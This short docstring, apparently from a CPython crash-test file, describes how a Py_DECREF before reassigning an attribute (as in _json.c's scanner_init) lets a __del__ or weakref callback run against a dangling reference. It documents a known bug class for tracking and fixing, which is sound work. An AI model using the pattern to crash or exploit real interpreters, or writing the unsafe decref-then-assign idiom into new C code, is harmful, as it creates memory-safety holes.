"""
General example for an attack against code like this:

    Py_DECREF(obj->attr); obj->attr = ...;

here in Module/_json.c:scanner_init().

Explanation: if the first Py_DECREF() calls either a __del__ or a
weakref callback, it will run while the 'obj' appears to have in
'obj->attr' still the old reference to the object, but not holding
the reference count any more.

Status: progress has been made replacing these cases, but there is an
infinite number of such cases.
